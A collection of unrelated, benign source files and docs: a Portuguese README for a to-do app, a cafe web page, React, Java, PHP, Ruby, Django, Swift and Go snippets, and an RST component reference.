Criação de Tarefas: Os usuários podem registrar tarefas, colocando apenas um nome. Isso permite que cada tarefa seja ajustada às necessidades individuais, garantindo que nenhuma atividade seja esquecida ou negligenciada.
Edição de Tarefas: A flexibilidade é essencial. Caso haja alguma mudança de planos ou ajustes a serem feitos, os usuários podem facilmente editar qualquer informação associada a uma tarefa existente.
Exclusão de Tarefas: Concluiu uma tarefa ou decidiu que ela não é mais relevante? É possível excluir tarefas conforme necessário, mantendo a lista atualizada e livre de desordem.
Segurança na Autenticação: Graças à implementação do JWT (JSON Web Token), cada usuário tem sua própria sessão segura, garantindo que suas tarefas sejam privadas e protegidas de acessos não autorizados.
## 🛠️ Tecnologias Utilizadas
- Backend:
- [NestJS](https://nestjs.com/)
- [@nestjs/passport](https://github.com/nestjs/passport) - Autenticação JWT
- [Swagger](https://swagger.io/) - Documentação e testes de API
- [Prisma](https://www.prisma.io/) - ORM para conexão com banco de dados
- [PostgreSQL](https://www.postgresql.org/) - Banco de dados
- Frontend:
- [Next.js](https://nextjs.org/)
- [next-auth](https://next-auth.js.org/) - Autenticação JWT
- [Tailwind CSS](https://tailwindcss.com/) - Framework CSS
## 🔍 Por que Essas Tecnologias?
- **NestJS**: Este é um framework de back-end progressivo para construção de aplicações eficientes, confiáveis e escaláveis em Node.js. Sua arquitetura modular, baseada em decorators, oferece uma estrutura coerente e extensível que é fácil de manter.
- **@nestjs/passport e next-auth**: A autenticação é uma parte vital de qualquer aplicação moderna. NestJS Passport e next-auth oferecem estratégias de autenticação flexíveis, incluindo JWT, o que ajuda a garantir que os dados dos usuários permaneçam seguros.
- **Swagger**: Uma ferramenta essencial para a criação de documentação API auto-gerada. Ela permite que os desenvolvedores e consumidores da API interajam com a API sem qualquer implementação lógica, ajudando a entender e testar endpoints.
- **Prisma**: Um ORM moderno que facilita a conexão com bancos de dados. Sua abordagem tipo-safe e auto-generated elimina uma grande quantidade de código boilerplate e possíveis erros, tornando a interação com o banco de dados mais intuitiva e segura.
- **PostgreSQL**: Um poderoso sistema de banco de dados relacional de código aberto com mais de 30 anos de desenvolvimento ativo. É conhecido por sua confiabilidade, robustez e desempenho.
- **Next.js**: Uma estrutura React que fornece recursos como Server Side Rendering (SSR) e Static Site Generation (SSG), garantindo desempenho, SEO e otimização de carregamento de páginas.
- **Tailwind CSS**: Este framework CSS utilitário fornece uma abordagem mais eficiente e modular para estilizar aplicações, permitindo designs responsivos com menos código customizado.
## 📚 Estrutura do Banco de Dados
A aplicação utiliza o Prisma, um ORM (Object-Relational Mapping) moderno, para definir e interagir com a estrutura do banco de dados. Abaixo, você encontrará uma descrição detalhada das configurações e modelos definidos no esquema do Prisma:
### Modelos:
1. **User**:
- **id**: Um identificador único para cada usuário, gerado automaticamente usando UUID.
- **email**: Endereço de email do usuário. É único, o que significa que não podem existir dois usuários com o mesmo email.
- **password**: Senha do usuário armazenada.
- **name**: Nome do usuário.
- **todos**: Uma relação que indica todas as tarefas (todos) associadas a um usuário.
- **roles**: Define os papéis associados a um usuário. Por padrão, um usuário tem o papel de `USER`.
- **createdAt**: A data e a hora em que o registro do usuário foi criado.
2. **Role (Enum)**:
- Enumeração que define os possíveis papéis no sistema: `USER` e `ADMIN`.
3. **Todo**:
- **id**: Um identificador único para cada tarefa, gerado automaticamente usando UUID.
- **title**: Título ou descrição da tarefa.
- **completed**: Um booleano que indica se a tarefa foi concluída. Por padrão, é `false`.
- **user**: Uma relação que associa a tarefa a um usuário específico.
- **userId**: Chave estrangeira que refere-se ao ID do usuário associado a essa tarefa.
- **createdAt**: A data e a hora em que a tarefa foi criada.
## 📂 Estrutura de Pastas
O projeto está dividido em duas partes principais: o backend, que utiliza NestJS, e o frontend, que é baseado no Next.js. Abaixo está uma visão geral da organização e estrutura das pastas do projeto:
```
📦 Todo project
┣ 📂 backend # Pasta raiz do backend (NestJS)
┃ ┣ 📂 prisma # Modelo do banco de dados e migrações
┃ ┣ 📂 src # Código-fonte do backend
┃ ┗ 📜 main.ts # Ponto de entrada da aplicação NestJS
┣ 📂 frontend # Pasta raiz do frontend (Next.js)
┃ ┣ 📂 src # Código-fonte do frontend
┃ ┣ ┣ 📂 components # Componentes reutilizáveis da UI
┃ ┣ ┣ 📂 app # Páginas e rotas da aplicação Next.js
┃ ┣ ┣ 📂 assets # Arquivos como imagens
┃ ┣ ┣ 📂 config # Arquivos com funções utils ou de configuração
┗ 📜 README.md # Descrição e documentação do projeto
```
### Backend (NestJS):
Localizado na pasta `backend`, o código do NestJS gerencia a lógica do servidor, as conexões com o banco de dados e a API que alimenta o frontend.
### Frontend (Next.js):
A pasta `frontend` contém a aplicação Next.js. Esta parte do projeto é responsável pela interface do usuário e interação. Dentro desta pasta, os componentes reutilizáveis estão em `components`, enquanto as definições das rotas e suas respectivas lógicas de renderização são encontradas em `app`. A pasta `public` armazena arquivos estáticos que podem ser acessados diretamente pelo navegador, como imagens e ícones.
## 🚀 Instalação e Uso
### Pré-requisitos
- Docker
- Docker Compose
### Configuração e Inicialização
Com o terminal na pasta root do projeto, construa e inicie os containers:
```bash
docker compose up
```
O backend estará rodando em `http://localhost:3001`, o frontend em `http://localhost:3000`, e o banco de dados PostgreSQL estará disponível na porta `5432`.
Para parar os containers, use:
```bash
docker compose down
```
### Docker hub images
#### Backend
Link para a imagem do backend: <a href="https://hub.docker.com/repository/docker/lyorrei/todo-platform-backend">Clique aqui</a>
Link completo para o backend: https://hub.docker.com/repository/docker/lyorrei/todo-platform-backend
#### Frontend
Link para a imagem do frontend: <a href="https://hub.docker.com/repository/docker/lyorrei/todo-platform-frontend">Clique aqui</a>
Link completo para o frontend: https://hub.docker.com/repository/docker/lyorrei/todo-platform-frontend
#### Banco de dados (PostgreSQL)
Foi utilizada a imagem oficial do PostgreSQL, disponível no Docker Hub.
### Persistência dos Dados
Os dados do PostgreSQL são persistentes graças ao volume `postgres_data`. Isso garante que mesmo ao parar ou remover o container, seus dados estarão seguros.
## 📖 Documentação da backend
Para acessar a documentação da API via Swagger, navegue para `http://localhost:3001/api`.
|
/*
*
* Copyright (c) 2000-2003 by Rodney Kinney
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Library General Public
* License (LGPL) as published by the Free Software Foundation.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Library General Public License for more details.
*
* You should have received a copy of the GNU Library General Public
* License along with this library; if not, copies are available
* at http://www.opensource.org.
*/
package VASSAL.build.module.map;
import java.awt.event.InputEvent;
import java.awt.event.KeyEvent;
import java.awt.event.KeyListener;
import VASSAL.build.Buildable;
import VASSAL.build.GameModule;
import VASSAL.build.module.Map;
import VASSAL.tools.swing.SwingUtils;
/**
* This KeyListener forwards key event from a {@link Map} to the
* {@link VASSAL.build.module.Chatter} The event is forwarded only if
* not consumed
*
* @see VASSAL.build.module.Chatter#keyCommand
* @see InputEvent#isConsumed */
public class ForwardToChatter implements Buildable, KeyListener {
@Override
public void build(org.w3c.dom.Element e) {
}
@Override
public void addTo(Buildable parent) {
final Map map = (Map) parent;
map.getView().addKeyListener(this);
}
@Override
public void add(Buildable b) {
}
@Override
public org.w3c.dom.Element getBuildElement(org.w3c.dom.Document doc) {
return doc.createElement(getClass().getName());
}
@Override
public void keyPressed(KeyEvent e) {
process(e);
}
@Override
public void keyReleased(KeyEvent e) {
process(e);
}
@Override
public void keyTyped(KeyEvent e) {
process(e);
}
private void process(KeyEvent e) {
if (!e.isConsumed()) {
GameModule.getGameModule().getChatter().keyCommand(SwingUtils.getKeyStrokeForEvent(e));
}
}
@Override
public boolean isMandatory() {
return true;
}
@Override
public boolean isUnique() {
return true;
}
}
|
<!DOCTYPE html>
<html>
<title>mihisara cafe</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="newweb.css">
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Inconsolata">
<style>
body, html {
height: 100%;
font-family: "Inconsolata", sans-serif;
}
.bgimg {
background-position: center;
background-size: cover;
background-image: url("img/cafeImage.jpg");
min-height: 75%;
}
.menu {
display: none;
}
</style>
<body>
<!-- Links (sit on top) -->
<div class="w3-top">
<div class="w3-row w3-padding w3-black">
<div class="w3-col s3">
<a href="#" class="w3-button w3-block w3-black">HOME</a>
</div>
<div class="w3-col s3">
<a href="#about" class="w3-button w3-block w3-black">ABOUT</a>
</div>
<div class="w3-col s3">
<a href="#menu" class="w3-button w3-block w3-black">MENU</a>
</div>
<div class="w3-col s3">
<a href="#contact us" class="w3-button w3-block w3-black">CONTACT US</a>
</div>
</div>
</div>
<!-- Header with image -->
<header class="bgimg w3-display-container w3-grayscale-min" id="home">
<div class="w3-display-bottomleft w3-center w3-padding-large w3-hide-small">
<span class="w3-tag">Open from 8am to 8pm</span>
</div>
<div class="w3-display-middle w3-center">
<span class="w3-text-white" style="font-size:90px"><b>Mihisara<br>Juice Bar</b></span>
</div>
<div class="w3-display-bottomright w3-center w3-padding-large">
<span class="w3-tag">Perakumba Rd, Kurunegala</span>
</div>
</header>
<!-- Add a background color and large text to the whole page -->
<div class="w3-sand w3-grayscale w3-large">
<!-- About Container -->
<div class="w3-container" id="about">
<div class="w3-content" style="max-width:700px">
<h5 class="w3-center w3-padding-64"><span class="w3-tag w3-wide">ABOUT US</span></h5>
<p>The Cafe was founded in blabla by Mr. Smith in lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.</p>
<p>In addition to our full espresso and brew bar menu, we serve fresh made-to-order breakfast and lunch sandwiches, as well as a selection of sides and salads and other good stuff.</p>
<div class="w3-panel w3-leftbar w3-light-grey">
<p><i>"Use products from nature for what it's worth - but never too early, nor too late." Fresh is the new sweet.</i></p>
<p>Chef, Coffeeist and Owner: Liam Brown</p>
</div>
<img src="img/juicebar5.jpg" style="width:100%;max-width:1000px" class="w3-margin-top">
<p><strong>Opening hours:</strong> everyday from 8am to 8pm.</p>
<p><strong>Address:</strong> Perakumba Rd, Kurunegala</p>
</div>
</div>
<!-- Menu Container -->
<div class="w3-container" id="menu">
<div class="w3-content" style="max-width:700px">
<h5 class="w3-center w3-padding-48"><span class="w3-tag w3-wide">THE MENU</span></h5>
<div class="w3-row w3-center w3-card w3-padding">
<a href="javascript:void(0)" onclick="openMenu(event, 'Eat');" id="myLink">
<div class="w3-col s6 tablink">Eat</div>
</a>
<a href="javascript:void(0)" onclick="openMenu(event, 'Drinks');">
<div class="w3-col s6 tablink">Drink</div>
</a>
</div>
<div id="Eat" class="w3-container menu w3-padding-48 w3-card">
<h5>Bread Basket</h5>
<p class="w3-text-grey">Assortment of fresh baked fruit breads and muffins 5.50</p><br>
<h5>Honey Almond Granola with Fruits</h5>
<p class="w3-text-grey">Natural cereal of honey toasted oats, raisins, almonds and dates 7.00</p><br>
<h5>Belgian Waffle</h5>
<p class="w3-text-grey">Vanilla flavored batter with malted flour 7.50</p><br>
<h5>Scrambled eggs</h5>
<p class="w3-text-grey">Scrambled eggs, roasted red pepper and garlic, with green onions 7.50</p><br>
<h5>Blueberry Pancakes</h5>
<p class="w3-text-grey">With syrup, butter and lots of berries 8.50</p>
</div>
<div id="Drinks" class="w3-container menu w3-padding-48 w3-card">
<h5>Coffee</h5>
<p class="w3-text-grey">Regular coffee <br> Rs. 35.00</p><br>
<h5>Shake</h5>
<p class="w3-text-grey">Chocolate Shake <br> Rs. 150.00 </p><br>
<p class="w3-text-grey">Milk Shake <br> Rs. 140.00 </p><br>
<p class="w3-text-grey">Vanila Shake <br> Rs. 140.00 </p><br>
<p class="w3-text-grey">Strawberry Shake <br> Rs. 150.00 </p><br>
<h5>Fruit Salad</h5>
<p class="w3-text-grey">Fruit Salad with Ice Cream <br> Rs. 160.00</p><br>
<h5>Iced tea</h5>
<p class="w3-text-grey">Hot tea, except not hot 3.00</p><br>
<h5>Soda</h5>
<p class="w3-text-grey">Coke (1 L) <br> Rs. 170.00 </p>
<p class="w3-text-grey">Sprite (1 L) <br> Rs. 170.00 </p>
<p class="w3-text-grey">Fanta (1 L) <br> Rs. 170.00 </p>
</div>
<img src="img/cafeImage2.jpg" style="width:100%;max-width:1000px;margin-top:32px;">
</div>
</div>
<!-- Contact Us-->
<div class="w3-container" id="contact us" style="padding-bottom:32px;">
<div class="w3-content" style="max-width:700px">
<h5 class="w3-center w3-padding-48"><span class="w3-tag w3-wide">How to Contact Us</span></h5>
<p>Call Us : 037-2689534</p>
<p>Address : Perakumba Rd, Kurunegala</p>
<img src="img/cafeImage3.jpg" class="w3-image" style="width:100%">
<p><span class="w3-tag">FYI!</span> We offer full-service catering for any event, large or small. We understand your needs and we will cater the food to satisfy the biggerst criteria of them all, both look and taste.</p>
<p><strong>Reserve</strong> a table, ask for today's special or just send us a message:</p>
<form action="/action_page.php" target="_blank">
<p><input class="w3-input w3-padding-16 w3-border" type="text" placeholder="Name" required name="Name"></p>
<p><input class="w3-input w3-padding-16 w3-border" type="number" placeholder="How many people" required name="People"></p>
<p><input class="w3-input w3-padding-16 w3-border" type="datetime-local" placeholder="Date and time" required name="date" value="2020-11-16T20:00"></p>
<p><input class="w3-input w3-padding-16 w3-border" type="text" placeholder="Message \ Special requirements" required name="Message"></p>
<p><button class="w3-button w3-black" type="submit">SEND MESSAGE</button></p>
</form>
</div>
</div>
<!-- End page content -->
</div>
<!-- Footer -->
<footer class="w3-center w3-light-grey w3-padding-48 w3-large">
<p>Powered by <a href="https://www.w3schools.com/w3css/default.asp" title="W3.CSS" target="_blank" class="w3-hover-text-green">w3.css</a></p>
</footer>
<script>
// Tabbed Menu
function openMenu(evt, menuName) {
var i, x, tablinks;
x = document.getElementsByClassName("menu");
for (i = 0; i < x.length; i++) {
x[i].style.display = "none";
}
tablinks = document.getElementsByClassName("tablink");
for (i = 0; i < x.length; i++) {
tablinks[i].className = tablinks[i].className.replace(" w3-dark-grey", "");
}
document.getElementById(menuName).style.display = "block";
evt.currentTarget.firstElementChild.className += " w3-dark-grey";
}
document.getElementById("myLink").click();
</script>
</body>
</html>
|
/*
IconPicker.tsx
AUTHORS: NA, FC, VD, RK, AP
LAST EDITED: 6-3-2024
DESCRIPTION: IconPicker.tsx: Describes the "IconPicker" component which allows a user to choose an icon
*/
import { Roboto_Mono } from "next/font/google";
import * as DropdownMenu from "@radix-ui/react-dropdown-menu";
import { getIconByName, IconName, iconNames } from "@/utils";
// Imports the Roboto Mono font
const robotoMono = Roboto_Mono({
weight: "variable",
subsets: ["latin"],
});
// Describes a React Functional Component called IconPicker
const IconPicker: React.FC<{
children: React.ReactNode;
setIcon: (iconName: IconName) => void;
}> = ({ children, setIcon }) => {
return (
<div className="flex flex-row items-center gap-x-4">
<DropdownMenu.Root>
<DropdownMenu.Trigger className="ring-0 outline-none">
{children}
</DropdownMenu.Trigger>
<DropdownMenu.Portal>
<DropdownMenu.Content
sideOffset={10}
align="start"
className="border-[1px] border-[#282828] bg-black/[0.5] shadow-md shadow-black/80 backdrop-blur-md flex flex-wrap h-52 w-[15.2rem] overflow-y-scroll p-3 rounded-md scrollbar-hide"
>
{iconNames.map((iconName) => {
console.log(iconName);
return (
<DropdownMenu.Item
key={iconName}
className="hover:ring-0 hover:outline-none ring-0 outline-none"
onClick={() => {
setIcon(iconName);
}}
>
{getIconByName({
name: iconName as IconName,
css: "lg:hover:text-white active:text-white p-2 lg:hover:bg-[#282828] active:bg-[#282828] border-[0.1px] border-[#141414] rounded-md",
size: 36,
})}
</DropdownMenu.Item>
);
})}
</DropdownMenu.Content>
</DropdownMenu.Portal>
</DropdownMenu.Root>
</div>
);
};
export { IconPicker };
|
import Comment from "@/models/comment";
import Image from "@/models/image";
import { getUserIdByToken } from "@/utils/getUserIdByToken";
import { NextResponse } from "next/server";
import User from "@/models/user";
export async function DELETE(request, { params }) {
const { commentId } = params;
const id = getUserIdByToken(request.cookies?.get("jwt_token").value);
if (!commentId) {
return NextResponse.json(
{ message: "please provide a commentID" },
{ status: 401 }
);
}
try {
const comment = await Comment.findById(commentId).populate("commentedOn");
if (!comment) {
return NextResponse.json(
{ message: "Comment not found" },
{ status: 404 }
);
}
if (
comment.commentedBy.toString() === id.toString() ||
comment.commentedOn.postedBy.toString() === id.toString()
) {
const imageId = comment.commentedOn;
await Comment.findByIdAndDelete(commentId);
await Image.findByIdAndUpdate(imageId, {
$inc: { commentsCount: -1 },
});
return NextResponse.json(
{ message: "Comment deleted successfully" },
{ status: 201 }
);
} else {
return NextResponse.json(
{ message: "You are unauthorized to delete this post" },
{ status: 503 }
);
}
} catch (error) {
console.log(error);
return NextResponse.json(
{ message: "Something went wrong" },
{ status: 503 }
);
}
}
|
<?php
namespace Rysun\DataTransfer\Setup;
use Magento\Framework\Setup\InstallSchemaInterface;
use Magento\Framework\Setup\ModuleContextInterface;
use Magento\Framework\Setup\SchemaSetupInterface;
use Magento\Setup\Exception;
class InstallSchema implements InstallSchemaInterface
{
/**
* {@inheritdoc}
*
* @SuppressWarnings(PHPMD.ExcessiveMethodLength)
*/
public function install(SchemaSetupInterface $setup, ModuleContextInterface $context)
{
$installer = $setup;
try {
$installer->startSetup();
$table = $installer->getConnection()->newTable(
$installer->getTable('rysun_product_pricing')
)->addColumn(
'pricing_id',
\Magento\Framework\DB\Ddl\Table::TYPE_INTEGER,
null,
['identity' => true, 'nullable' => false, 'primary' => true],
'Pricing Id'
)->addColumn(
'sql_serv_id',
\Magento\Framework\DB\Ddl\Table::TYPE_INTEGER,
null,
[
'unsigned' => true,
'nullable' => true
],
'SQL Server Id'
)->addColumn(
'sql_serv_prod_id',
\Magento\Framework\DB\Ddl\Table::TYPE_INTEGER,
null,
[
'unsigned' => true,
'nullable' => true
],
'Sql Server Product Id'
)->addColumn(
'product_sku',
\Magento\Framework\DB\Ddl\Table::TYPE_TEXT,
'255',
['nullable' => false],
'Product Sku'
)->addColumn(
'price',
\Magento\Framework\DB\Ddl\Table::TYPE_INTEGER,
null,
[
'unsigned' => true,
'nullable' => false
],
'Price'
)->setComment(
'Product Pricing Table for SKU Builder'
);
$installer->getConnection()->createTable($table);
$table = $installer->getConnection()->newTable(
$installer->getTable('rysun_features')
)->addColumn(
'feature_id',
\Magento\Framework\DB\Ddl\Table::TYPE_INTEGER,
null,
['identity' => true, 'nullable' => false, 'primary' => true],
'Feature Id'
)->addColumn(
'sql_serv_id',
\Magento\Framework\DB\Ddl\Table::TYPE_INTEGER,
null,
[
'unsigned' => true,
'nullable' => true
],
'SQL Server Id'
)->addColumn(
'feature_desc',
\Magento\Framework\DB\Ddl\Table::TYPE_TEXT,
'255',
['nullable' => false],
'Feature Description'
)->addColumn(
'is_active',
\Magento\Framework\DB\Ddl\Table::TYPE_INTEGER,
null,
[
'unsigned' => true,
'nullable' => true
],
'Is Active'
)->setComment(
'Feature Table'
);
$installer->getConnection()->createTable($table);
$table = $installer->getConnection()->newTable(
$installer->getTable('rysun_product_features')
)->addColumn(
'product_feature_id',
\Magento\Framework\DB\Ddl\Table::TYPE_INTEGER,
null,
['identity' => true, 'nullable' => false, 'primary' => true],
'Product Feature Id'
)->addColumn(
'sql_serv_id',
\Magento\Framework\DB\Ddl\Table::TYPE_INTEGER,
null,
[
'unsigned' => true,
'nullable' => true
],
'SQL Server Id'
)->addColumn(
'sql_serv_prod_id',
\Magento\Framework\DB\Ddl\Table::TYPE_INTEGER,
null,
[
'unsigned' => true,
'nullable' => true
],
'Sql Server Product Id'
)->addColumn(
'feature_id',
\Magento\Framework\DB\Ddl\Table::TYPE_INTEGER,
null,
[
'unsigned' => true,
'nullable' => true
],
'Feature Id'
)->addColumn(
'sort_order',
\Magento\Framework\DB\Ddl\Table::TYPE_INTEGER,
null,
[
'unsigned' => true,
'nullable' => true
],
'Sort Order'
)->addColumn(
'is_active',
\Magento\Framework\DB\Ddl\Table::TYPE_INTEGER,
null,
[
'unsigned' => true,
'nullable' => true
],
'Is Active'
)->setComment(
'Feature Table'
);
$installer->getConnection()->createTable($table);
$installer->endSetup();
} catch (Exception $err) {
\Magento\Framework\App\ObjectManager::getInstance()->get('Psr\Log\LoggerInterface')->info($err->getMessage());
}
}
}
|
# encoding: ascii-8bit
# Copyright 2022 Ball Aerospace & Technologies Corp.
# All Rights Reserved.
#
# This program is free software; you can modify and/or redistribute it
# under the terms of the GNU Affero General Public License
# as published by the Free Software Foundation; version 3 with
# attribution addendums as found in the LICENSE.txt
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
# Modified by OpenC3, Inc.
# All changes Copyright 2022, OpenC3, Inc.
# All Rights Reserved
#
# This file may also be used under the terms of a commercial license
# if purchased from OpenC3, Inc.
require 'spec_helper'
require 'openc3/conversions/received_time_seconds_conversion'
require 'openc3/packets/packet'
module OpenC3
describe ReceivedTimeSecondsConversion do
describe "initialize" do
it "initializes converted_type and converted_bit_size" do
gc = ReceivedTimeSecondsConversion.new()
expect(gc.converted_type).to eql :FLOAT
expect(gc.converted_bit_size).to eql 64
end
end
describe "call" do
it "returns the formatted packet time" do
gc = ReceivedTimeSecondsConversion.new()
packet = Packet.new("TGT", "PKT")
time = Time.new(2020, 1, 31, 12, 15, 30)
packet.received_time = time
expect(gc.call(nil, packet, nil)).to eql time.to_f
end
it "returns 0.0 if packet time isn't set" do
gc = ReceivedTimeSecondsConversion.new()
packet = Packet.new("TGT", "PKT")
expect(gc.call(nil, packet, nil)).to eql 0.0
end
end
describe "to_s" do
it "returns the class" do
expect(ReceivedTimeSecondsConversion.new().to_s).to eql "ReceivedTimeSecondsConversion"
end
end
end
end
|
import { useForm } from "react-hook-form";
import useAuth from "../../../hooks/useAuth";
import useAxiosSecure from "../../../hooks/useAxiosSecure";
import Swal from "sweetalert2";
import { useLoaderData } from "react-router-dom";
const UpdatClass = () => {
const { loading } = useAuth();
const [axiosSecure] = useAxiosSecure();
const lodedata = useLoaderData();
const { sportsName, price, totalSeats, _id } = lodedata;
const { register, handleSubmit, reset } = useForm();
if (loading) {
<progress className="progress w-56"></progress>
}
const onSubmit = data => {
const { sportsName, price, totalSeats} = data;
const newItem = { sportsName, price: parseFloat(price), totalSeats }
console.log(newItem)
axiosSecure.put(`/class/${_id}`, newItem)
.then(data => {
console.log(data.data)
if (data.data.matchedCount > 0 ) {
reset();
Swal.fire({
position: 'top-end',
icon: 'success',
title: 'Item Updat successfully',
showConfirmButton: false,
timer: 1500
})
}
})
};
return (
<div className="w-full px-10">
{/* <SectionTitle subHeading="What's new" heading="Add an item" ></SectionTitle> */}
<form onSubmit={handleSubmit(onSubmit)}>
<div className="form-control w-full ">
<label className="label">
<span className="label-text font-semibold">Class Name*</span>
</label>
<input type="text" defaultValue={sportsName} placeholder="Class Name"
{...register("sportsName", { required: true, maxLength: 120 })}
className="input input-bordered w-full " />
</div>
<div className="grid grid-cols-2 gap-4">
<div className="form-control w-full ">
<label className="label">
<span className="label-text font-semibold">Total Seats*</span>
</label>
<input type="number" defaultValue={totalSeats} {...register("totalSeats", { required: true })} placeholder="Total Seats" className="input input-bordered w-full " />
</div>
<div className="form-control w-full">
<label className="label">
<span className="label-text font-semibold">Price*</span>
</label>
<input type="number" defaultValue={price} {...register("price", { required: true })} placeholder="Type here" className="input input-bordered w-full " />
</div>
<div className="form-control w-full">
<label className="label">
<span className="label-text">Item Image*</span>
</label>
<input type="file" {...register("image")} className="file-input file-input-bordered w-full " />
</div>
</div>
<input className="btn btn-block mt-4" type="submit" value="Updat Item" />
</form>
</div>
);
};
export default UpdatClass;
|
"""elevators_svc URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.2/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
# from django.contrib import admin
# from django.urls import path
# urlpatterns = [
# path('admin/', admin.site.urls),
# ]
from django.contrib import admin
from django.urls import path, include
from elevators.urls import router as elevator_router
from elevators.views import ElevatorCreateAPIView
urlpatterns = [
path('admin/', admin.site.urls),
path('api/', include(elevator_router.urls)),
path('create-elevators/', ElevatorCreateAPIView.as_view(), name='elevator-create'),
]
|
//
// Timer.swift
// Part of Hodl.
//
// Created by Emmanuel Adigun on 2022/06/08.
// Copyright © 2022 Zignal Systems. All rights reserved.
//
import Foundation
typealias TimerCallBack = (_ timer: Timer ) -> Void
class Timer {
private enum State {
case suspended
case resumed
}
let timeInterval: Int
let timerID: String
var callback: TimerCallBack?
required init(_ timerID: String = "" , _ timeInterval: Int = 5, _ callback: TimerCallBack? ) {
self.timeInterval = timeInterval
self.timerID = timerID
self.callback = callback
}
private lazy var timer: DispatchSourceTimer = {
let t = DispatchSource.makeTimerSource()
t.schedule(deadline: .now() /*+ self.timeInterval*/, repeating: .seconds(self.timeInterval) , leeway: .seconds(0))
t.setEventHandler(handler: { [weak self] in
if let this = self, let callback = this.callback {
callback(this)
}
})
return t
}()
private var state: State = .suspended
deinit { stop() }
func isRunning() -> Bool { return state == .resumed }
func stop() {
timer.setEventHandler {}
timer.cancel()
/*
If the timer is suspended, calling cancel without resuming
triggers a crash. This is documented here https://forums.developer.apple.com/thread/15902
*/
resume()
}
func resume() {
if state == .resumed { return }
state = .resumed
timer.resume()
}
func suspend() {
if state == .suspended { return }
state = .suspended
timer.suspend()
}
}
|
package It_02;
/*
Lambda表达式的格式:(形式参数) -> {代码块}
练习1:
1:定义一个接口(Eatable),里面定义一个抽象方法:void eat();
2:定义一个测试类(EatableDemo),在测试类中提供两个方法
一个方法是:useEatable(Eatable e)
一个方法是主方法,在主方法中调用useEatable方法
*/
public class EatableDemo {
public static void main(String[] args) {
//在主方法中调用useEatable方法
Eatable e = new EatableImp();
useEatable(e);
//匿名内部类
useEatable(new Eatable() {
@Override
public void eat() {
System.out.println("晚睡晚起要吃席");
}
});
//Lamdba表达式
useEatable(()->{
System.out.println("一天一牛奶");
});
}
private static void useEatable(Eatable e){
e.eat();
}
}
|
// Fetchall fetches URLs in parallel and reports their times and sizes.
// Call this as 'go run fetchall.go http://www.example.com http://gopl.io'
package main
import (
"fmt"
"io"
"io/ioutil"
"net/http"
"os"
"time"
)
func fetch(url string, ch chan<- string) {
start := time.Now()
response, err := http.Get(url)
if err != nil {
ch <- fmt.Sprint(err) // send to channel ch
return
}
nbytes, err := io.Copy(ioutil.Discard, response.Body)
response.Body.Close() // don't leak resources
if err != nil {
ch <- fmt.Sprintf("while reading %s: %v", url, err)
return
}
seconds := time.Since(start).Seconds()
ch <- fmt.Sprintf("%.2f seconds %7d %s", seconds, nbytes, url)
}
func main() {
start := time.Now()
ch := make(chan string) // makes a channel
for _, url := range os.Args[1:] {
go fetch(url, ch) // starts a go routine
}
for range os.Args[1:] {
fmt.Println(<-ch) // receive channel ch
}
fmt.Printf("%.2f seconds elapsed\n", time.Since(start).Seconds())
}
|
.. _ReferenceJointSpring:
.. rst-class:: searchtitle
JointSpring
.. rst-class:: searchdescription
A spring for a joint. Used to make a joint soft and therefore behave spring-like. A joint spring has a frequency in hertz at which to oscillate as well as a dampening ratio. The ratio should vary from 0 to 1 where 0 is no dampening and 1 is critical dampening. See each joint for a description of how it reacts to a spring.
.. include:: Description/JointSpring.rst
.. cpp:class:: JointSpring
Base Class: :cpp:type:`Component`
.. _ReferenceJointSpringProperties:
Properties
----------
.. rst-class:: collapsible
.. cpp:member:: Cog JointSpring::Owner
Get the Object this component is owned/composed. Not the parent of this composition.
.. rst-class:: collapsible
.. cpp:member:: Space JointSpring::Space
The Space where the object is located.
.. rst-class:: collapsible
.. cpp:member:: Cog JointSpring::LevelSettings
Get the object named'LevelSettings', a special object where we can put components for our level.
.. rst-class:: collapsible
.. cpp:member:: GameSession JointSpring::GameSession
Get the GameSession that owns us and our space.
.. rst-class:: collapsible
.. cpp:member:: bool JointSpring::Active
Determines if this motor is currently active.
.. rst-class:: collapsible
.. cpp:member:: real JointSpring::FrequencyHz
The oscillation frequency of the spring in Hertz(cycles per second).
.. rst-class:: collapsible
.. cpp:member:: real JointSpring::DampRatio
The dampening ratio of this spring. The value should range from 0 to 1 where 0 is no dampening and 1 is critical dampening.
.. rst-class:: collapsible
.. cpp:member:: uint JointSpring::AtomIds
Signifies what atoms on the joint this effects.
.. _ReferenceJointSpringMethods:
Methods
-------
.. rst-class:: collapsible
.. cpp:function:: void JointSpring::DebugDraw()
Base debug draw for a component. Special for the each type of component.
.. include:: Remarks/JointSpring.rst
|
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.seatunnel.connectors.seatunnel.udp.config;
import org.apache.commons.lang3.StringUtils;
import org.apache.seatunnel.shade.com.typesafe.config.Config;
import java.io.Serializable;
import java.util.Objects;
